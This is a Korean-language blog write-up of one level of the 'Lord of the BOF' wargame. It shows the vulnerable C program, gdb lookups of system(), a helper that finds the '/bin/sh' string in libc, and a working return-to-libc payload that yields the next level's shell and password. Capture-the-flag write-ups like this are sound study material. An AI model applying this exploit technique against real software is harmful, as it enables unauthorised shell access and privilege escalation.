[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1        Return To Library 기법을 이용하라는 힌트

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')         //스택을 사용하지 못하도록 제한함.

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



[darkknight@localhost darkknight]$ gdb bugbea1

(gdb) b*main

Breakpoint 1 at 0x8048430

(gdb) r asd

Starting program: /home/darkknight/bugbea1 asd


Breakpoint 1, 0x8048430 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q


라이브러리의 주소가 매번 고정 되있는것으로 보아 aslr이 안걸려있다. RTL기법을 이용할 때 단연 먼저 찾아야하는 함수인 system함수의 주소를 구하고 함수 내부에 있는  "/bin/sh"의 문자열을 찾으면된다 

system함수는 내부적으로 execve함수를 쓴다. 이 execve함수의 동작은 "/bin/sh"를 통해 하기 때문에 결국 "/bin/sh"문자열은 system함수를 뒤져보면 쉽게 찾을 수 있을것. 지정한 주소부터 문자열을 찾는 간단한 스크립트를 아래와 같이 짜서 돌린다.



[darkknight@localhost darkknight]$ vi findbin.c

[darkknight@localhost darkknight]$ cat findbin.c

#include <stdio.h>

#include <string.h>


int main(){

        long system = 0x40058ae0;

        while(memcmp(system,"/bin/sh\x00",8)){

        system++;

}

        printf("%p\n",system);

}


[darkknight@localhost darkknight]$ gcc -o findbin findbin.c

findbin.c: In function `main':

findbin.c:6: warning: passing arg 1 of `memcmp' makes pointer from integer without a cast


[darkknight@localhost darkknight]$ ./findbin

0x400fbff9



페이로드

더미 (256) + sfp (4) + system()주소 (4) + 더미 (4) + "/bin/sh\x00"주소 (4)

system()함수가 실행되면  system()의 주소를 담고있는 stack의 주소+4에 담긴 문자를 인자로 사용하는 규칙이 있다.

gdb로 열어본다면 자세히 이해할 수 있다.




[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@BBBB▒@
bash$ whoami
bugbear
bash$ my-pass
euid = 513
new divide


'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

15.lob giant->assassin  (0) 2018.01.11
14.bugbear->giant  (0) 2018.01.11
12.lob golem->darknight  (0) 2018.01.09
11.lob skeleton->golem  (0) 2018.01.08
10.lob vampire->skeleton  (0) 2018.01.08

+ Recent posts